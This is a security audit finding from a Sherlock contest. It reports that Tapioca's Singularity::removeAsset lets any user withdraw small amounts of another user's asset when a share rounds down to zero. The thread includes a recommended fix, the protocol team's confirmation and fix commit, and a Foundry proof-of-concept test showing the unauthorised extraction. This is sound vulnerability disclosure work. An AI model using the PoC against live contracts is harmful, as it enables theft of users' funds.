cergyk - Singularity::removeAsset share can become zero due to rounding down, and any user can be extracted some amount of asset

[sherlock-admin3]

cergyk

high

Singularity::removeAsset share can become zero due to rounding down, and any user can be extracted some amount of asset

Summary

An attacker can use rounding down of the share of asset to zero, to remove small amounts of asset from any user, since the allowance needed in that case is zero.

Vulnerability Detail

We can see that when Singularity::removeAsset is called, the allowance is checked

But if share == 0 this check will always succeed. Since share is computed with a rounding down

It can be rounded down to zero, and any user can steal some amount of asset from any other user.

It seems that the amount should be small, but as yieldBox shares become more expensive than borrow shares for the market, the value yieldBox.toShare(assetId, totalBorrow.elastic, false) can be significantly reduced, thus inducing a greater rounding down.

Impact

Any user can steal some amount of asset from any other user

Code Snippet

Tool used

Manual Review

Recommendation

Protect this call with a require(share != 0) as is done in all other calls requiring allowance: https://github.com/sherlock-audit/2024-02-tapioca/blob/main/Tapioca-bar/contracts/markets/singularity/SGLBorrow.sol#L41

[nevillehuang]

request poc

[sherlock-admin3]

PoC requested from @CergyK

Requests remaining: 7

[cryptotechmaker]

The check is actually already done here https://github.com/Tapioca-DAO/Tapioca-bar/blob/master/contracts/markets/Market.sol#L421 and here https://github.com/Tapioca-DAO/Tapioca-bar/blob/master/contracts/markets/Market.sol#L407

[cryptotechmaker]

Ah this doesn't exist on the version you are reviewing so the issue is still valid

[sherlock-admin4]

The protocol team fixed this issue in PR/commit https://github.com/Tapioca-DAO/Tapioca-bar/commit/41f9c4fbf175cc2f5412b47519ddd69be822bf58.

[CergyK]

Here's a test to add in Usdo.t.sol,

demonstrating how a user can extract some asset from another:

function test_poc39() public {
  address alice = address(1337);
  address bob = address(1338);
  address charlie = address(1339);

  uint erc20Amount_ = 10e18;
  //Setup victim account
  {
      vm.startPrank(alice);
      deal(address(bUsdo), alice, erc20Amount_);
      bUsdo.approve(address(yieldBox), type(uint256).max);
      (,uint shares) = yieldBox.depositAsset(bUsdoYieldBoxId, alice, alice, erc20Amount_, 0);

      yieldBox.setApprovalForAll(address(pearlmit), true);
      pearlmit.approve(
          address(yieldBox), bUsdoYieldBoxId, address(singularity), uint200(shares), uint48(block.timestamp + 1)
      );
      singularity.addAsset(alice, alice, false, shares);

      vm.stopPrank();
  }

  //Setup conditions (have borrows to trigger yieldbox.toShare conversion)
  {
      uint collateralAmount = erc20Amount_*2;
      vm.startPrank(charlie);
      deal(address(aUsdo), charlie, collateralAmount);
      aUsdo.approve(address(yieldBox), type(uint256).max);
      (,uint shares) = yieldBox.depositAsset(aUsdoYieldBoxId, charlie, charlie, collateralAmount, 0);

      yieldBox.setApprovalForAll(address(pearlmit), true);
      pearlmit.approve(
          address(yieldBox), aUsdoYieldBoxId, address(singularity), uint200(shares), uint48(block.timestamp + 1)
      );

      Module[] memory modules;
      bytes[] memory calls;
      (modules, calls) = marketHelper.addCollateral(charlie, charlie, false, 0, shares);
      singularity.execute(modules, calls, true);

      (modules, calls) = marketHelper.borrow(charlie, charlie, (erc20Amount_*9)/10);
      singularity.execute(modules, calls, true);

      vm.stopPrank();
  }

  //Simulate some yield has accrued in the strategy by donating some amount directly to strategy
  uint YIELD_AMOUNT = 10*erc20Amount_;
  deal(address(bUsdo), address(this), YIELD_AMOUNT);
  bUsdo.transfer(address(bUsdoStrategy), YIELD_AMOUNT);

  //Bob can extract some asset from Alice without approval
  {
      uint EXTRACT_AMOUNT = 5;
      vm.startPrank(bob);
      singularity.removeAsset(alice, bob, EXTRACT_AMOUNT);
  }
}

[cryptotechmaker]

I'll add the test @CergyK . Thanks for the suggestion. However, after fixes, we need to add the following line before the last removeAsset

vm.expectRevert();